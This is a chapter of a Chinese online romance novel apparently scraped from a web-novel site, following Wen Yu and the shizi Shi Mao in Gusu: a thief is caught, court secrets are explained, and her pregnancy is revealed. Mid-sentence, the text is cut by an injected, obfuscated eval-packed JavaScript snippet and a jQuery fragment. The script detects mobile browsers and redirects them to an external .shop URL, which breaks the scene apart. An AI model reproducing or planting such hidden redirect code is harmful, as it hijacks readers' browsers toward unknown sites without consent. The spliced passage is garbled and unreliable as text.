文趣网 > 其他小说 > 亲自帮禁欲世子解药后 > 47. 第 47 章
    无人侍奉的日子里,她锻炼出一双好手劲,巴掌清脆利落,惊得河面上掠起几只觅食的白鹭。

    “登徒子,我不认识你!”

    她厉声呵斥,空旷的河岸上显得格外响亮,“再胡言乱语,我喊人了!”

    她弯腰端起木盆便走,脚步又急又快。

    那人没有跟上来,似乎在纠结些什么,或是不想再度打扰她安稳的生活。

    温妤不愿想这些,她脑中纷乱,不想和京中的人扯上联系。

    夜深时分,她回到居所,随意用了宵夜,心里仍是提心吊胆。

    怪了,这人被打了也不吭声,湿着眼框装得可怜兮兮,眼角红红的在她眼前晃来晃去,晃得她心烦意乱。

    温妤搁下筷子,提灯信步走出院门,春鸢留了话,说与宋安去看皮影戏了,她便沿着河畔缓缓踱步,往镇上走着前去汇合。

    江南的夏夜素来合意。

    蛙鸣阵阵,萤火点点,水面被月光染成一片银白。

    这片土地,是母亲生活了十余年的故土,每一条小巷、每一座石桥,她都在母亲的口中听说过。

    正出神间,忽见前方桥头立着一道人影。

    身量颀长,身形挺拔。

    怎么阴魂不散?

    那人显然也看见了她,脚步微微前迈。

    温妤迅速换了条道,走得比之快上数倍。

    皮影戏台在镇子市集中心的空地上搭建。

    三尺见方的白布帷被灯笼映得透亮,幕后艺人手提皮影,白蛇与许仙在断桥上相遇,唱腔婉转缠绵。

    台下人声鼎沸,孩童骑在父亲肩头拍手叫好,卖糖葫芦的老汉穿梭在人群中扯着嗓子吆喝。

    几个妇人嗑着瓜子叽叽喳喳,心疼着白娘子孤身奔赴凶险万分的昆仑山,勇斗鹤童鹿童、挨下法术重创,满身伤痕只为盗取一株灵芝为魂魄飘摇的许仙续命。

    春鸢同宋安并肩坐在前排长条凳上,看得津津有味,入迷时连糖人都忘了舔,只顾张着嘴紧盯白幕。

    忽然,人群中有人高声叫嚷。

    “有贼!抓贼啊!”

    众人瞬间慌乱四散。

    凳子被踢翻在地,瓜子花生撒了一地。

    几个孩童被挤得哇哇大哭,妇人们尖叫着四处奔逃。

    混乱中,一道黑影逃窜出人群,毫无头绪地横冲直撞,直奔河畔。

    黑灯瞎火,他欲凫水逃走,忽见一妇人对向而来,抬手便要掳她。

    温妤见黑影直直向自己而来,登时大惊失色,忽然一只手从旁边伸过,扣住歹徒的手腕,如铁钳般纹丝不动。

    猜到来人,温妤索性放心向后躲去。时茂将她护在身后,反手一掌击在歹人肩头,抬膝顶向其腰腹,一串动作干净利落,训练有素。

    歹人闷哼一声,整个人被掼倒在地,挣扎两下,被反剪双手死死按住。

    周遭围拢过来的百姓纷纷拊掌叫好。

    “这小郎君身手当真老结棍!”

    “方才歹人光天化日在河边掳人,那姑娘差点要吃苦头咯。”

    “大哥哥本事好大,坏人被捉住了!”

    “押送县衙去!断不能叫这歹人再祸乱百姓!”

    几个胆大的汉子七手八脚接过歹人,用麻绳捆了个结实,推推搡搡地送往官府去了。

    时茂回过头,见温妤正要趁乱溜走,眼疾手快拽住她的衣袖。

    春鸢与宋安往回走着,二人被挤在人群后,没看到温妤,只见到了众人吆喝着制服歹徒。

    春鸢抓着脑袋:“方才那人,怎么有几分眼熟呢?”

    宋安迟疑片刻,“看着依稀像谁,一时半会想不起来。”

    春鸢突然一拍脑门,恍然大悟:“呆子,那人分明就是世子啊!”

    世子怎么会知道他们在姑苏?

    *

    温妤从人群中退离,扶着河岸边柳树,没能忍住,弯腰呕了出来。

    胃里翻江倒海,眼眶被蠕动的肠胃逼出一层薄泪,她的手指攥紧干树皮。

    百姓们喧闹的声响变得遥远而模糊,一只手从身后伸过来,轻轻环住了她的腰。

    时茂将下颌抵在她的发顶上,声音低沉沙哑,借力托起她沉重的身躯。

    “对不起。”他的手臂缓缓收紧。

    “我……”他想说好多话,最后还是咽了回去,他的声音在发抖。

    “我活了二十多年,以为将所有坏事吞进腹中便能护住所有人,殊不知你于我而言,才是一切。”他轻声吐露心绪,“京中人人自危,我从七岁起便学会了闭嘴,如今我想学着张开嘴,告诉她我有多爱她……阿妤,我教了你那么多,这次换你教我,好不好?”

    河面晚风将她的碎发吹散,擦过他的下颌,痒痒的。

    温妤伏在他的臂弯里。

    “说这么多做什么?”她瓮声瓮气道,“既然已经和离,没必要再来打扰我。”

    时茂撑着她的身体,在她面前蹲身,双手一托将人稳稳背起。

    她的体重比想象中更轻,时茂心里发酸。

    “和离?和离书上没有我亲笔写下的名讳,你休想随意抛下我。”

    他迈步,沿河岸向镇上医馆走去,靴底踩在鹅卵石上,咯吱作响。

    “陆默之事已尘埃落定。”

    他接着道。

    “新皇登基,头一道旨意,便是大赦天下。陆默一案,我压了数月不曾呈报,等的便是这一日。赦令已在路上,他不会留任何罪责在身。”

    顿了顿,将她向上托,靠得更安稳些。

    “袁家与陆老爷本就存有旧怨。当年陆老爷举荐袁阁老入朝,袁家彼时一无所有,是靠着陆家的提携才站稳脚跟。

    “袁阁老曾因一处小错被陆老爷亲自审问,其人怀恨在心,后来陆家被牵连,皇后与太子借此铲除,袁家非但没能施以援手,反而在暗中落井下石,将陆老爷的旧日同僚逐一调离要职。

    “皇室不愿留下污名。若废太子在世,当年陆家一案所有知情之人,包含陆默在内,难逃一死;侥幸未被清算的陆默虽被陷害,却身负以假户籍隐匿行踪以欺君,若无人替他洗雪,罪责无从开脱。

    “我不能让陆默死。所以我一拖再拖,用纪琛弹劾他的折子做幌子,本打算熬到先帝驾崩,待新帝手握全权、再无掣肘之时,再将他无罪释放。

    “只是这些话,我从前不能告诉你,更不能将新帝的软肋摊在你面前,抱歉,这是皇家密辛。”

    他一路走,一路解释。

    温妤掌灯,默默看着他背着自己,踩在他们两人的影子上。

    坊内医馆的灯在夜色中冒出一小团光。

    时茂将温妤从背上放下,扶她在诊案前坐下。老郎中

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797942|205792||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    从脉枕上抬起手指,捻了捻胡须,面上浮起一层笑意。

    “恭喜夫人,已有三个月身孕。脉象平稳,胎气稳固,只是近日操劳了些,须得好生静养。”

    温妤怔住,低头看着自己尚且平坦的小腹,手指无意识覆上去。

    然后她抬起眸,看向身侧。

    时茂笑了,眼泪已经落下。

    他蹲下身,双手捧住她的手,将额头抵在她的手背上,肩膀微微发抖。

    “是真的,纪清澜没有骗我,你腹中怀着我们的孩子。”

    他的声音闷在她的手心里,既狂喜,又后怕,像终于找到归宿的鸟儿。

    温妤自言自语,“陆少渊临行前曾说过,待官位稳定便回来寻我,他要娶我——”她抬眸,“想来也能接纳这个孩子。”

    时茂猛地抬起头来。

    “不行!不能!”

    他咬牙切齿:“这是你和我的孩子,你是我的妻子。温妤,我不求你现在理我,我只求你允许我留在身边,让我照顾你,旁的往后再说,只是这孩子是我们的,谁也不许抢!”

    一旁老郎中将叆叇往远处挪了挪,将药柜贴上纸笺标签,悠悠飘来一句:“落胎药在左侧柜,安胎药在右侧柜,老夫这医馆只诊脉开方,不核验骨肉亲缘。”

    时茂面色微红,低头跟在温妤身后,一路送她归家。

    温妤推开院门,终于开口:“我不会随你回京,孩子拴不住我。”

    时茂没有半分犹豫:“我来,不是逼你跟我回去。”

    翌日,虞菡被告知女儿怀有身孕,愣愣半晌,眼圈红了。

    她拉着温妤的手坐在床沿,又是欢喜又是心疼,“都是娘的疏忽,这头几个月最要紧,可不能再碰凉水,一会儿娘就去抓安胎药。这是你的孩子,娘养得起。”

    温妤靠在母亲肩头,目光落在窗外。

    “阿娘,你让他来了。”

    时茂正蹲在井边洗手,袖口窝到肘弯,小臂上好几道晨起劈柴时的新伤。

    洗净手,从晾衣绳上取下,崭新的花样布一件一件抖开,笨拙地往竹竿上搭。

    虞菡笑了笑:“心软了?”

    她的女儿,她再了解不过。

    即便倔强,骨子里依然有与母亲血脉相承的善良与柔情。

    温妤将脸别到一边,闷声道:“让这贵公子多受些罪也好,幼时我在陆家受过的苦楚,如今也让他尝尝。”

    午后,温妤推开院门,竟看见门口整整齐齐码着一垛劈好的柴火。

    姑苏水乡平原,少山林,百姓多要远赴西山砍柴,水路运送费时费力。

    做饭、烧水、浆洗衣物,寒冬取暖,养蚕、烘粮食、制茶、酿造酒醋,全都离不开柴火。

    寻常人家过日子,皆是惜柴如金,灶火不敢长燃。更别提上头征收柴薪税,百姓辛辛苦苦砍下的柴火,总要上交部分。

    这些亲自劈开再远远送来的木柴,于这座小城来讲,算是诚意十足。

    春鸢从院子里探出头来,打着呵欠:“姐姐,他吵死人了……”

    温妤哭笑不得:“人往何处去了?”

    “天没亮就在外头劈柴,弄得虎口上全是血泡,劈完又去河边挑了水,将院子里的水缸都灌满了才走,眼下怕是去药铺了。”

    温妤拿起柴刀看了看,又扔回原处。

    ……